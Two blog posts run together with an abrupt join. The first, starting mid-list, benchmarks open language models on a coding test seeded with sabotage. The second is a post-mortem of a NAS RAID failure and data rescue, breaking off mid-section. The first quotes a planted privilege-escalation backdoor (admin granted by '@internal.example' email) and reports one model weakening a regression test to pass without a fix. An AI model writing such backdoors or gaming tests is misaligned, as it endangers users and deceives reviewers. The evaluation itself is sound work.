• NVFP4 only runs on vLLM. The 198 to 251 GB checkpoints in Blackwell’s native FP4 are the only way to fit on the card, and llama.cpp and Ollama simply don’t load those formats. Whoever lives on GGUF has no access to this range.
• Native speculative decoding. Qwen 3.8 27B went from 92 to 195 tokens per second with the MTP head the checkpoint itself ships, predicting three tokens per step, plus --language-model-only to drop the vision tower (measured on different pods, so no controlled ablation). Muse Glimmer reached 295 with the lightweight DFlash drafter it ships alongside, 15 speculated tokens per step. I only enabled it where an official drafter exists and where tool calling stayed correct; for Ornith a drafter exists as a separate release, with unknown acceptance rate, so it stayed off.
• The CUDA 12 loader. flashinfer JIT-compiles an NVFP4 MoE kernel that needs libcudart.so.12, and after installing CUDA 13 for Nemotron the library resolution broke. The symptom looked like OOM; the cause was an ld.so.conf. A repair script with ldd evidence before and after fixed it, and the 397B went on to serve at 144 tokens per second.
• One virtual environment per runtime. Nemotron 3.5 Super VL required its own vLLM 0.32 in a separate venv, because that’s what the official card pins, and that build wants CUDA 13. Every model family is a bespoke case: parser, quantization, draft head, runtime version and loader repair, all different.
• A parser bug that dropped the last call. vLLM’s Qwen tool parser discarded the last parameter of a call when the parameter closing tag was missing but the function one was present. A narrow repair, with 24 test cases, took that serving noise out of the model’s account.

The exact arguments for each model, the probe logs and the ledger of every tuning round are in the serving optimizations document and the B300 runbook in the repository.

Speed is almost free, once you let vLLM compile. The real work is finding out, model by model, which combination of toolkit, parser, quantization and draft head that checkpoint demands. I gave each one 45 minutes and needed them.

The ranking

v4 vigilance score, tier, memory footprint, decode speed on the admission probe (warm, single stream) and the cost of the seven sprints’ inference time only, at 9.09 dollars an hour. The cost excludes download, load, compilation, tuning and idle time; the real math comes further down.

Three have no score: Cohere’s Command A Plus (218 billion, 25 active, W4A4) got stuck in a loop rewriting the same model file 23 times, needed three nudges and still left the tests unable to run before the reviewer was blocked; Nex N2.5 Mini ran at 337 tokens per second and delivered invalid Ruby, contradictory migrations and broken authentication in two attempts, a valid bad result from a server that works; and Qwen3.5 122B was a conditional fallback in case the 397B didn’t finish, and the 397B finished.

Minutes are sprint time only, and Ornith’s include a sprint interrupted by infrastructure. Flash-Next, Swift, ThinkingCap, Muse and Qwen 27B took one nudge each; GLM 4.7, two; the others, none. The probe speed is an admission number: the throughput of a real coding session includes prefill, tools, tests and the agent’s choices. And note that the top two tie on score with opposite profiles: GLM spent 145 minutes and 22 dollars to reach the same 92.5 that Qwen3.8 Flash-Next did in 80 minutes and 12 dollars, with half the memory.

The interesting cases

Qwen3.8 Flash-Next: the best of the open models, by cost

Flash-Next is, in Qwen’s words, a preview of the Qwen 4 architecture: 125 billion language-model parameters with 6 billion active, plus a 51-billion n-gram embedding table that Qwen says can be offloaded to host memory, plus a 4-billion MTP head. Quantized to NVFP4 by NVIDIA, it took about 100 GB on the card (the checkpoint is 133 GB on disk). It was the only model in the second batch to resolve all 14 items: it caught the tenant leak unprompted, caught the compound test-integrity item, and wrote per-user isolation specs on its own, so the planted API IDOR had no way to stay green. At 195 tokens per second and 12 dollars of inference, it’s the best cost-benefit in this table.

GLM 5.3 Flash: the same 92.5, three times the cost

GLM scored the same with a much bigger architecture: 320 billion parameters, 18 active, 198 GB even in FP4. It resolved all 14 items, zero nudges, reviewed end to end by Codex.

But it took 145 minutes and consumed twice the memory for the same result. On Z.ai’s cloud, the same model scored 84.25 on a flat plan. With single-run noise, which in my history reaches nine points, the safest reading is that both sit in the same band.

Swift 1.5 and ThinkingCap: two 27B fine-tunes in Tier A

The two surprises. Swift 1.5, from UkisAI, and ThinkingCap 3.8, from BottleCap AI, are Qwen 3.8 27B fine-tunes trained to think less: Swift advertises up to 58% fewer reasoning tokens (on the GPQA median; on Terminal-Bench, 16%), ThinkingCap about 37% on average. Both fit in 56 GB in BF16, run at about 200 tokens per second with MTP, and scored 88 and 83.

Swift landed above Anthropic’s Opus 4.6. The base Qwen 3.8 27B, same architecture, scored 80.5 in 192 minutes; Swift scored 88 in 64. Swift caught sabotage earlier than the base; whether that was from thinking less, one run of each can’t prove.

A provenance caveat: the reviewer recorded that Swift read local commit messages that disclosed regressions, which weakens a literal reading of “entirely unaided discovery”. And it left one item unresolved, an inactive admin still accepted with a vacuous guarding test. Even so, of every model in this table, it’s the one I’d put on a card of my own.

Qwen3.5 397B: the flagship that let the backdoor through

The biggest model in the batch, 397 billion parameters with 17 active, 251 GB of NVFP4 on a 275 GB card, served at 140 tokens per second after the loader repair and scored 68.5, Tier C.

The case that defines the score: sabotage number 6 is a line admin? => admin || email.end_with?("@internal.example"), a privilege escalation by email domain. The 397B let it through in the normal sprints, let it through in sprint 7 with the explicit security-audit request, and wrote a passing test codifying the backdoor as expected behavior, in the same commit where it announced “Brakeman: 0 warnings”. Parameters did not buy vigilance.

Nemotron 3.5 Super VL: cheated on the test

NVIDIA’s Nemotron 3.5 Super VL, 120 billion with 12 active, released two days before I started testing and sold by NVIDIA as the fastest open agentic model in its class, with “leading accuracy” on multimodal tasks, scored 63. Sabotage number 2 removes a navigation link and the regression test looks for have_link('Sign in'). Nemotron changed the test to have_button('Sign in'), which passes on the login form’s submit button without restoring the link, and kept the cheat even after the reveal sprint.

It also tends to catch items a sprint late. And it was the one that required its own runtime: vLLM 0.32 with CUDA 13 in a separate environment.

DeepSeek V4 Flash: 86 in the cloud, 44.5 in my hands

The most important case for anyone considering self-hosting. DeepSeek V4 Flash, 284 billion with 13 active, scored 86, Tier A, for 97 cents through the API in September, and the 0731 version, exactly the one I downloaded, scored 85 for 1.94. The same public weights in mixed FP4 and FP8, served by me on the B300, scored 44.5, Tier D: it caught 4 items unprompted, 5 more at the reveal, and left 5 unresolved. It was the fastest to finish, 37 minutes, and the least vigilant.

The likely cause is divergence between the public checkpoint and what DeepSeek serves, or between their serving stack and mine: parser, chat template, reasoning mode, quantization. I followed the official card. What this proves is that the model’s name on Hugging Face doesn’t guarantee the hosted API’s quality, and that whoever is going to host needs to validate before trusting.

GLM 4.7 Flash: same as local, meaning bad

The 30-billion GLM 4.7 Flash in BF16, at 217 tokens per second, scored 33.5. At home, in GGUF Q5, it had scored 24. It needed two nudges, left nine items unresolved and delivered a migration with a syntax error. The nine-and-a-half-point difference fits within single-run noise; what remains is that the model is weak either way.

What showed up in several

Ornith, Muse Glimmer and the 397B shared a hygiene defect: they ran the sprint to the end with exit zero and forgot to commit their own work, leaving it for the reviewer to checkpoint. It didn’t go into the score, and on a real team it would be the first complaint. And the 81-to-83 cluster, ThinkingCap, Ornith and Muse, has a consistent profile: it catches SQL injection, tenant leaks, XSS and exposed secrets with confidence, and lets the quiet items through, broken access control, test integrity, missing index, wrong aggregate.

How far from the frontier

The three best open models against the best commercial ones from the same ranking, with the cost and time of each run:

The reading: the best of the open source that fits on a B300 and that I served sits one step below the commercial ceiling and level with the middle of Tier A. Differences of one or two points are single-run noise.

GLM 5.3 Flash and Qwen3.8 Flash-Next tie with Sonnet 5 and pass Gemini 3.8 Flash and Opus 4.6. None reaches the 100 that seven commercial models scored, nor Grok 4.6’s 98.5. Seven and a half points separate the best open model from the ceiling, and in v4 every point is one less sabotage caught unprompted.

The difference that matters is another: predictability. Among the top commercial models in the table, the worst is 87.5, and the full commercial field also has a bottom, Mistral Large 3 scored 39. The open field has the same 92.5 at the top and two Tier D at the bottom, with DeepSeek scoring 85 in the cloud and 44.5 in my hands. Choosing a top commercial model is choosing a number the API reproduces; choosing an open one is betting that the checkpoint, the quantization and your serving stack reproduce the number on the card, and sometimes they do.

The math

If quality still falls short of the frontier, is the cost at least proportional? It depends on where you run the open model.

On the vendor’s own cloud API, yes, and by a wide margin. A full v4 run cost 97 cents on DeepSeek V4 Flash, 1.17 dollars on Qwen 3.8 Flash, 1.03 on MiMo V2.5 Pro, all Tier A in the cloud. Against 9.52 to 30.55 dollars for the 100-point models, that’s ten to thirty times cheaper for a score 8 to 14 points lower. The list prices explain it: GLM 5.3 Flash costs 15 cents per million input tokens and 50 for output; DeepSeek Flash, 15 to 30 cents input and 60 cents to 1.20 output; Opus 5.5, 4 and 20 dollars; GPT-6 Astra, 10 and 50.

On your own rented B300, no. The pod costs 9 dollars an hour on or idle, 218 a day, about 6,500 a month. The model time of this whole batch, 14 models across download, load and sprints, added up to 23 hours, about 212 dollars at pod price; the sprints alone were 17 hours and 157 dollars.

But the pod also charges for the time when nothing runs. I put 400 dollars of credit on Runpod and 127 were left: the whole batch cost 273 dollars, about 30 pod-hours, including storage, four pods in sequence and seven idle hours one night when the orchestration died and nothing warned me. Almost 60 dollars more than the model time, just waiting. The repository’s break-even math: the pod only gets cheaper than the API from about 6,500 runs a month, 217 a day, sustained. A solo developer or a small team doesn’t come close.

And model against model, side by side:

The cloud API of an open model is ten to thirty times cheaper than the frontier for one tier less. Hosting the same model on a rented B300 is more expensive than the frontier, and sometimes worse than its own API.

Does a team fit on the same card?

A question I asked while looking at the GPU at 10% utilization: do these models use all of the pod’s compute? Could a whole team go on the same B300?

In principle, yes, and that’s what vLLM exists for. Continuous batching schedules several requests in the same decode step, and PagedAttention stores each session’s KV cache in non-contiguous blocks, with under 4% waste, precisely to fit more sessions in the same memory. A 27-billion model in BF16 takes 56 GB and leaves about 200 GB of KV cache: that’s dozens of agent sessions with 128K-token context at the same time. The 397B, with 251 GB of weights, leaves 24, and then few fit.

What doesn’t scale is speed per person. My test ran in --performance-mode interactivity, which optimizes single-stream latency, and the 200 tokens per second are that stream’s. With ten agents decoding at the same time, the card’s aggregate throughput rises and each one’s falls, and the speculative decoding that gave me Muse Glimmer’s 295 yields less as concurrency grows: a DFlash drafter published for Muse by Z Lab reports 3 to 4.6 times gain with one session and 1.2 to 1.7 with 32.

I didn’t measure concurrency in this batch, so what I can say is the outline: a team of five to ten people on a 27-to-35-billion model on one B300 is practical, and each one probably still stays above 100 tokens per second. The same team on the 397B is unworkable on the card, and on the 198 GB GLM 5.3 Flash it gets tight.

It’s in that scenario, and only there, that the pod math starts to close. Ten developers running an agent all day on a 27B model would spend, on the API, at a dollar per two-hour run, about 40 dollars a day; the pod costs 218. It still loses. What changes the math is having a hundred people, or being required to keep the code from leaving your network.

Is owning your own infra worth it?

For serious software development, with this batch’s data, the answer comes in three parts.

The top open models are good enough. GLM 5.3 Flash, Qwen3.8 Flash-Next and Swift 1.5 27B are Tier A in my test, at Sonnet 5 level and above Opus 4.6. That was unthinkable in April, when only Qwen 3.6 35B came close to Opus, and still one fix away. For anyone who accepts one tier below the ceiling, they serve for real work, including security review, which is what v4 measures.

Renting a B300 to run them is the wrong way to use them. The cloud API of the same model costs a dollar per run and needs zero configuration. The pod costs 218 a day, demands a day of tuning per model family, and in DeepSeek’s case delivered a worse model than its own API. It’s only worth it with a data-residency obligation, with a checkpoint no cloud serves, with sustained load of hundreds of runs a day, or with a need for pinned weights for reproducibility. Four B300s to run the 750-billion-to-one-trillion models quadruple the bill with no evidence the score reaches 100: the 397B, the biggest model I tested, scored 68.5.

And if you’re going to host, host small. Swift 1.5 27B and ThinkingCap at 56 GB, with MTP, at 200 tokens per second, are Tier A on hardware you can buy, a professional 80 or 96 GB card instead of a datacenter one. That’s where open source makes sense for a company: a whole team on one card, code inside the network, an Opus 4.6 score. Just check the license first: Swift and ThinkingCap ship with their own licenses, and above a certain revenue both require a commercial license. The open giants remain an API thing.

My rule after all this: top commercial model for tasks that can’t fail, open-model API for volume, and your own card only when the law or the client demands it. The repository with every serving argument, every probe log, every reviewer transcript and the Codex-or-Claude provenance of every boundary is public, as always.

At that moment I knew I was a hiccup away from losing everything. This post is the post-mortem of what happened, and the first part was written in the heat of the disaster, with the rescue copy still running.

Update of October 11: the copy finished and the ending was a happy one. No file was lost by accident, both NASes are healthy, each with its own RAID-6. The full recovery is in the second half of this post. The first part stays as it was published, untouched.

I’ve been using a NAS for a long time

I’m not new to this. I made an entire video mini-series on storage and filesystems (in Portuguese), and I recommend watching it before asking me “what’s a good beginner NAS?”. There is no such thing.

I’ve used external storage since the second half of the 2000s, when I was a Mac user and Drobo existed. The company is gone, but I had three of their DAS units before migrating to Synology, first on an entry-level model and then on the mid-tier DS1821+, which I’ve been using for more than five years. I’ve written about it here, setting up NFS on Linux and accessing it over iSCSI.

It’s been very valuable to me, and you don’t get to question why I need that much space. It doesn’t matter: everyone decides what they keep on theirs.

When I was producing YouTube videos, I edited 4K footage straight from the NAS, thanks to the NVMe cache and 10 GbE networking. I got used to big storage at 10 gigabits and I can’t go back.

The array was organized in SHR, Synology’s hybrid RAID, which in practice behaves like RAID-5 (more on that later): it survives the loss of one drive without losing any data. I always thought that was enough.

Hard drives die. Always

Make no mistake: hard drives go bad. Never, ever trust a lone drive forgotten in a closet. It will fail, and you will lose everything on it.

The best public data on this comes from Backblaze, which runs hundreds of thousands of drives and publishes failure rates every quarter. In the Q2 2026 report, with 354,415 drives monitored, the annualized rate was 1.73%, and the lifetime rate for the whole fleet stands at 1.41% per year.

That sounds small. Translated to human scale:

• One drive on its own, for 5 years: the chance of it dying in that period is close to 7%. That’s roughly the chance of rolling one specific number on a 14-sided die. Would you bet every family photo on that?
• One drive on its own, for 10 years: about 13%, one in eight.
• Eight drives, like my NAS, for one year: the chance of at least one failing is about 11%. In five years, more than 40%.

And those numbers are from a datacenter, with controlled temperature, clean power and drives spinning all the time. A drawer drive that sits idle for years and gets knocked around in a move doesn’t have statistics that pretty.

Memory cards are worse, and there isn’t even an equivalent statistic to consult. What exists is torture testing: the Great MicroSD Card Survey tested 216 cards over a year of continuous writing, and 52 of them, one in four, had already died.

Genuine cards started throwing errors, on average, after about 2,500 rewrite cycles; counterfeit cards, after 700. A memory card is transport media. Keeping the only copy of anything on a microSD is asking to lose it.

The practical conclusion is the same as in the mini-series: important data needs redundancy. A parity array exists precisely so that the death of one drive, which is a matter of time, doesn’t take anything with it.

What happened

With all that, I should have been at ease with my setup. I wasn’t.

It started the day before yesterday, Sunday. For a while I’d been watching the volume approach the ceiling.

At first it was 8 drives of 10 TB. Over the years I swapped them, one by one, for 20 TB drives (DSM shows binary units; on the label they’re 12 and 22 TB). It’s a slow process: each swap takes days, because the array has to rebuild and redistribute the data.

I decided to swap one more, the seventh. Synology supports hot-swap, so it’s simple: pull the old drive, slot in the new one, add it to the array and let DSM handle the rebuild.

On Sunday night it looked like this: rebuild starting, all eight drives healthy, 108 TB allocated out of 121.8 TB.

On Monday, at 8 a.m., the beep. Drive 1, the new one, with 13 hours of use, marked critical:

And drive 8, one of the old ones, with 22,095 hours powered on (two and a half years), also critical, with a read error at 08:05:

The pool’s message left no room: “Unrecoverable errors have occurred because drive errors occurred after storage pool degradation. Please back up your data immediately.”

Why two drives is the end

In RAID-5, if two drives go down, redundancy is zero, and in theory the whole array goes with them. It’s an unrecoverable situation.

Anyone who watched my playlist knows why. An array like this doesn’t store “files,” one per drive. A file is a collection of blocks, and the blocks are spread across all the drives, along with the parity. Losing a drive is losing a piece of every file. It doesn’t matter that the other seven are healthy, because they only have parts.

Parity is there to recompute the missing piece when one drive disappears. With two missing, the math doesn’t close.

And there’s a cruel detail in the rebuild: to recreate the new drive, the array has to read every other drive end to end. That’s more than 100 TB of continuous reading. If some old drive had a bad sector hiding in a corner nobody had read in a long time, that’s when it shows up. That’s what happened with drive 8.

Where do you copy 90 TB to?

The only way out, at that point, was to thank the heavens that the volumes were still accessible, with the files showing up, and use the window to copy everything out immediately. I couldn’t touch anything else.

The problem: copy about 90 TB to where? Nobody has an empty 100 TB NAS lying around at home.

Normally I’d buy this kind of hardware in the United States, on a tourist trip, and bring it back with me. It’s much cheaper. Buying expensive electronics in Brazil isn’t worth it: the country has charged import taxes worse than Trump’s tariffs for decades, and the final price usually goes past double the American list price.

Except I had to choose. What is it worth to lose 90 TB of data I spent years collecting and that is nearly impossible to recover from anywhere else? It’s one of those situations where the answer is “it’s priceless,” and so, whatever the price, I pay.

I found a storage reseller close to home, Controle Net. Good people, very quick to respond, and they sent me a proposal for equipment with same-day delivery.

Their first suggestion was a QNAP TS-832PX. I researched it before accepting. It has the same 8 bays and ships with 10 GbE, but the processor is a 1.7 GHz ARM Cortex-A57 (Annapurna Labs AL324) with 4 GB of RAM, half the 8 GB minimum that QuTS hero asks for. For RAID-6 on ZFS, with checksums and double parity on every block, that’s weak hardware, as I explain further down. And it would be a downgrade from the DS1821+ I already had, which runs on a Ryzen V1500B.

I asked for another option, and after some back and forth I settled on a QNAP TS-873A, 8 bays, with the same Ryzen V1500B as my Synology, 8 GB of RAM, and 10 Toshiba MG11 24 TB enterprise-class drives.

This is why you have to do your own research and know, objectively, what you want to do with the equipment. The reseller didn’t act in bad faith: they suggested an 8-bay NAS to someone who asked for an 8-bay NAS. The one who knew it would run ZFS in RAID-6 was me. If I had accepted the first proposal in a panic, I’d have paid a lot for a worse machine than the one I was replacing.

R$ 185,320.00. Eye-watering.

What it would cost in the United States

I checked today’s American list prices. About the exchange rate: the dollar is at R$ 4.97 right now, but that’s the effect of Sunday’s first-round election results, which knocked the rate down more than 4% on Monday. Through Friday it closed at R$ 5.22, and that’s the fair rate to compare with, because that’s the rate the reseller’s stock was built at:

At R$ 5.22, about R$ 60 thousand. I paid R$ 185 thousand, more than three times that.

The comparison isn’t perfect: the Brazilian proposal includes installation, training and six years of technical support, and the equipment was on my desk by the end of the same day. But it gives the measure of the Brazil effect.

If the rule of thumb is “double the American price,” normal would be about R$ 120 thousand. The extra R$ 65 thousand is, in my own rough estimate, the sum of services, local stock of enterprise drives and my urgency. Whoever buys on a Monday morning with the array dying is in no position to haggle.

And drives are expensive everywhere

To make it worse, this is the worst possible moment to buy hard drives. The AI bubble is sucking up production.

I thought Seagate had left the consumer market. I checked, and that’s not quite it: it hasn’t left, but in February 87% of its hard drive sales were already nearline drives, for datacenters, and WD gets 89% of its revenue from cloud customers and only 5% from retail. WD’s CEO said the company is “pretty much sold out for calendar year 2026.”

Seagate has said it won’t expand production capacity; growth comes only from higher-density drives. For someone buying drives at home, the practical effect is similar to them having left: you get what the hyperscalers didn’t want, at whatever price the seller asks.

QNAP instead of another Synology

After spending the morning and afternoon between negotiation, paperwork and payment, by the end of the day I had the QNAP powered on next to the Synology.

Choosing QNAP went beyond availability. Synology has been making questionable business decisions.

In 2025 it launched the Plus line requiring its own-brand drives or drives it certified.

The own-brand ones are Seagate, Toshiba and WD drives rebadged with custom firmware, and anyone using something else was left without pool creation, health monitoring, deduplication or firmware updates. After the outcry, it walked that back in DSM 7.3 and allowed HDDs and SATA SSDs from other brands.

Except M.2 pools still require the compatibility list. The uncertainty is left hanging: what stops them from doing it again?

Setting up the QNAP is very easy. QuTS hero, their ZFS-based system, is as simple to use as Synology’s DSM.

Fixing my mistake: RAID-6 and ZFS

This time I knew I had to configure RAID-6, which survives two drives failing at the same time. The downside is less total capacity, because the equivalent of two drives becomes parity instead of one. The upside is that I shouldn’t have to go through an emergency like this again.

One of QNAP’s strengths is supporting ZFS out of the box, well integrated and easy to use.

For those who don’t know it: ZFS was born at Sun Microsystems, for Solaris, in the mid-2000s, and today lives on as OpenZFS on Linux and FreeBSD. It merges into one system what used to be three layers, the RAID, the volume manager and the filesystem. It keeps a checksum of every block, so it notices when a drive silently returns corrupted data, and repairs it on its own from parity. And it never overwrites data in place: every write goes to a new block, which makes snapshots practically free.

Its reputation as a RAM hog comes from two things. The first is the ARC, its cache, which by design takes up almost all the machine’s free memory. That scares anyone looking at the graph, but it’s cache: it gives the memory back when another process asks. The second is deduplication, which keeps a huge table with the hash of every block and needs it in RAM or it becomes unusably slow. The old rule of “1 GB of RAM per TB of disk” comes from there, and only applies to people who turn deduplication on.

Even without it, ZFS is heavier than ext4 or a simple Btrfs. Computing checksums, compression and double parity for every block costs CPU, and with little memory the cache shrinks and everything gets slow. On weak hardware, like an entry-level NAS with an ARM processor and 2 GB of RAM, it suffers.

QNAP asks for at least 8 GB for QuTS hero. Mine came with 8 GB and a quad-core Ryzen, which works for my use, which is storing large files and serving them over the network. Deduplication stays off.

I bought 10 drives for an 8-bay NAS, so two are left in the drawer as spares, for the day one fails.

For my simple setup, three settings:

• 5% over-provisioning. It’s a slice of the pool the system reserves and never hands out for data. ZFS always writes to new space and gets slow when the pool fills up near the limit; this slack keeps performance stable. On SSD pools it also extends drive life, but these are hard drives, so the minimum is enough.
• 5% guaranteed snapshot space. It’s the reserve for snapshots, the “photos” of the state of your files that let you go back after an accident or ransomware. Guaranteeing the space means the snapshots keep existing even if I fill up the rest. My data changes little (it’s mostly cold archive), so snapshots take almost nothing and 5% is plenty.
• Alert at 85%. The system warns me when the pool passes 85% usage, with room for me to act before hitting the ceiling. It was exactly the lack of room that had me swapping drives in a hurry on the Synology.

Adding the two reserves, about 13 TB are set aside and 112.9 TB are left for use.

A detail of my case: I’m copying the 90 TB with snapshots turned off, and I’ll only enable the schedule after the copy finishes. A snapshot protects a file’s previous state, and on an empty NAS receiving its first load there is no previous state worth protecting. The source of truth is still the Synology.

And there’s a practical cost. I stopped and restarted the job several times, deleted folders that had gone in by mistake and copied again. With snapshots on, every deleted thing would keep taking up space inside some snapshot, and I’d be filling the pool with the migration’s own garbage. When everything is on this side and checked, then yes: scheduled snapshots, to protect me from deleting what I shouldn’t and from ransomware.

After that I created one giant “thick” partition. In ZFS you can create a “thin” folder, which only takes up what’s inside it and can promise more space than exists, or a “thick” one, which reserves the full size at creation. Since it’s a pool with one owner and one use, thick is more predictable: the space is mine and nothing competes for it.

Finally, I created the shares and installed the HBS 3 app.

Copying 90 TB

HBS 3 (Hybrid Backup Sync) is QNAP’s app for backup and synchronization. It connects to another NAS, to rsync, FTP, SMB or the cloud.

I connected to the Synology’s SMB share and told it to sync everything.

I had to stop and restart a few times, tweaking the job settings, because it was absurdly slow. And the file count wouldn’t stop growing:

865 TB on a 108 TB NAS, and that’s when I understood what was going on.

I excluded two kinds of path from the job:

• The #snapshot directories. On Synology, when you check “make snapshot visible,” each shared folder gets a #snapshot subfolder with a full view of the folder at each point in time. Inside the Synology that takes no space, because a snapshot only stores the difference. Seen from outside, over SMB, every snapshot looks like a full copy of everything, and HBS was trying to copy them all.
• The restic backup directories. restic stores everything in hundreds of thousands of pack files of a few megabytes each. Network copying is fast with large files and suffers with small ones, because each one costs an open, metadata and a close. And those backups I’ll redo from scratch on the new NAS.

With that, throughput rose to an average of 400 MB/s.

That’s less than half of what a 10 GbE network delivers, but it’s more than three times the gigabit most people have at home. Both sides really are at 10 gigabits:

Why doesn’t it reach 1,000 MB/s? My main hypothesis is drive 8. The source array is degraded, and every read that goes through the affected pieces has to be recomputed from parity, with a drive that on top of that returns errors and retries. It makes sense that the Synology can’t go faster than this.

There’s a second factor, which my own screenshots give away: the Synology has jumbo frames on (MTU 9000), and the QNAP image shows the default MTU of 1500. That screenshot is from earlier; I’ve already changed the QNAP to 9000 as well.

Why it matters: MTU is the maximum size of each packet that travels on the network. At the default 1500 bytes, filling a 10-gigabit link means processing more than 800 thousand packets per second, and each packet costs CPU on both sides, for the header, the checksum and the interrupt. With jumbo frames each packet carries six times more data, so it’s one sixth of the packets for the same volume, and more processor is left for moving files. It only works if everything in the path matches: both cards and the switch. If one side stays at 1500, the connection negotiates down to the smaller value and the other side’s jumbo frames do nothing.

At 400 MB/s, 90 TB takes about two and a half days, and I prefer two and a half guaranteed days.

What Synology explained

In parallel, I opened a ticket with Synology support. After some back and forth, I sent the logs. They responded fast, the same day, and I’ll give them that. The engineer’s explanation, summarized:

• Drive 8 had been logging media errors for over a month. A media error is when the NAS tells the drive to read a sector and the drive answers that it couldn’t, even after several retries. It’s always an internal drive failure, and the drive should have been replaced.
• It was drive 8’s poor health that took it down during the rebuild of drive 1.
• In practice I lost two drives, and the pool should have crashed completely. It didn’t because of how SHR works.

SHR isn’t a single RAID-5. To use drives of different sizes without wasting space, it slices the drives and builds several smaller RAIDs, one per size band, and joins everything into one volume. The engineer sent this example diagram:

In my case, the pool is made of two partitions. In the first, the rebuild of drive 1 was far enough along and the failure of drive 8 was mild enough that both kept working. In the second, both are missing. That’s why the pool didn’t crash entirely and I can still see the files.

His recommendation was the one I was already following: copy everything out before anything else, because there’s no telling whether the situation gets worse or whether it’s fixable. After the backup he can even try forcing drive 8 back into the pool so the rebuild continues, but there’s no guarantee the drive will go back in, or that it will survive the process. In his words, copying and recreating the pool from scratch is probably the quickest way forward.

Classic RAID-5, by the way, requires all drives to be the same size, and to grow capacity I’d have to replace all of them at once. SHR is what let me swap one at a time over the years. Ironically, it’s also what saved me from losing everything at once.

The two mistakes

The way I understood it, there are two mistakes, one mine and one theirs, and that’s where the whole disaster lives.

Mine: I underestimated RAID-6, which on Synology is called SHR-2. With two parity drives, drive 8 failing in the middle of the rebuild would have been just a scare. I traded safety for 20 TB of space and spent five years thinking I’d made a good deal.

Theirs: from the logs, the software knew drive 8 had been failing for at least a month, and I never got a single notification. I have email notifications configured. And they work: when the critical situation blew up, I got a flood of emails. This one, about drive 8’s bad sectors, arrived at one in the afternoon on Monday, five hours after the disaster:

Before that, nothing. No warning about drive 8 until it failed catastrophically.

If I had received one, I would never have tried to swap drive 1 before replacing drive 8. The whole situation was avoidable, and it was the result of a human mistake plus some software bug.

That’s the other reason I didn’t buy another Synology. I have a principle: if the horse throws me, I put the horse down. I can’t trust it again.

Where I am now

So far I’ve copied about 20 TB of the original 90 TB, and HBS 3 keeps working. I still don’t know whether I lost any data permanently. I hope not, but the most likely outcome is that I lost what was in the RAID slice the engineer described as crashed.

I have offsite backup on AWS Glacier of what matters most, but not of everything.

A lot of people ask why I don’t use S3 or some other cloud storage for everything. I return the question: think for ten seconds. How long does it take to transfer 90 TB over your internet connection? Do the math:

• With a solid 1 gigabit of upload, never dropping for a second: more than 8 days.
• With 500 megabits: almost 17 days.
• With 100 megabits, which is good upload for many homes: 83 days.

And that’s to upload. When disaster hits you need to download it all back, with the clock running. Not counting the rent: 90 TB on standard S3 costs about US$ 2 thousand a month at list price. Cloud is great for the critical subset, which is how I use it. For the whole archive, physics and the invoice won’t allow it.

Lessons

I was put in an impossible situation on a Monday morning, I acted right away as best I could, and I’ll probably come out of this mostly unscathed. We’ll see, HBS 3 is still syncing. What I take from it:

1. Single parity isn’t enough for big drives. With 20 TB drives, a rebuild takes days and reads everything. That’s the window in which the second drive tends to show up. RAID-6, SHR-2 or RAIDZ2.
2. Don’t rely only on the vendor’s notifications. Look at SMART and the drive logs before starting any swap. I didn’t, because I trusted I’d be warned.
3. Replace the sick drive first, then the small one. A capacity upgrade on an array with a suspect drive is roulette.
4. Leave slack. I was swapping drives because the volume was at the ceiling. An 85% alert exists for that.
5. Have somewhere to copy to. My way out cost R$ 185 thousand because I had no plan B. A second NAS, even a modest one, with what matters, would have bought me time to shop calmly.
6. RAID is not backup. I know that, I teach that, and I still only had offsite for part of it.

The copy is done and I already know the size of the damage: zero. The full recovery comes next.

Six days later: the end of the story

When I published the first part, I had about 20 TB copied and no certainty. The outcome: I finished evacuating the ~91 TB, verified file by file, and lost nothing by accident. Not even what was on the fallen RAID slice, because it stayed readable until the end.

Who operated the recovery were my two agents. The desktop agent controls my PC and both NASes over SSH, and the homelab agent takes care of the server where my 57 containers run. The two coordinate by message: one leaves a report in the other’s inbox, and I follow the conversation.

)

This part matters because nothing that follows was me typing commands. I made the decisions; they executed, measured and screwed up badly a few times, as you’ll see.

HBS 3 was quietly betraying me

In the first part I told how HBS 3, pulling the Synology shares over CIFS, reached 400 MB/s after the adjustments. What I didn’t know: speed was the smallest of its problems.

Two defects showed up when the agent checked the source inventory against what HBS reported:

• It didn’t go where it had no permission, and told nobody. HBS mounts the Synology as my user. The Bitcoin/data directory, 901 GB with my node’s wallet and chainstate, belongs to uid 101 and is closed to anyone else. CIFS couldn’t get in there, and HBS reported success without recording the omission. A “green” backup that leaves the entire Bitcoin node behind.
• It skipped files with “unsupported” names. 113 files, recorded only on a detail screen nobody opens during a days-long copy.

A backup tool that reports success while omitting what it couldn’t read is worse than one that fails screaming. Verify the backup against an independent inventory of the source, never against the tool’s own log.

We abandoned HBS. The agent opened SSH on both NASes, enabled the rsync server on the QNAP, and the Synology started pushing straight to its rsyncd, with nothing going through the PC. Each job’s wrapper: rsync -a --numeric-ids -W --partial --timeout=600, attempts with retry, and never --delete. The --numeric-ids preserved the original uids with no chown afterwards, --partial turned any interruption into a continuation, and the absence of --delete made the destination always a superset: re-sharding or killing a job never cost data.

The bottleneck wasn’t the broken drive

Some context was missing from the first part. This Synology was born with eight consumer-line Seagate IronWolfs, and over the years I had been swapping them one by one for 20 TB IronWolf Pros. The disaster happened exactly during one of those upgrades: I swapped drive 1 for the new Pro and, during the rebuild, drive 8 failed. One single old drive was left in the array: drive 2.

And it, not drive 8, was the evacuation bottleneck. Measured under load:

• Drive 2 (the old consumer one, with 37 thousand hours of use): 91% utilization, delivering 27 MB/s, each I/O taking 4 to 15 times longer than its siblings.
• The six Pros: between 34% and 45% utilization, sitting idle waiting for it.

In RAID-5 (and in SHR), a sequential read spans the whole stripe, and the stripe only completes when the slowest member answers. One slow drive caps the whole array: because of it, the array couldn’t go past about 200 MB/s while six good drives had room to spare. And its SMART was clean, zero reallocated sectors. Consumer drives usually ship without time-limited error recovery (ERC/TLER) active, so the drive retries a marginal sector for seconds, internally, without accounting for anything. The Synology’s NVMe cache diverted part of the reads from the platters and helped mask the symptom.

The drive that fails and the drive that slows you down don’t have to be the same, and SMART “PASSED” says nothing about latency. A slow array is diagnosed with per-drive utilization and response time, not with SMART.

Parallelizing rsync is science, not guesswork

First instinct: more streams. Wrong, twice.

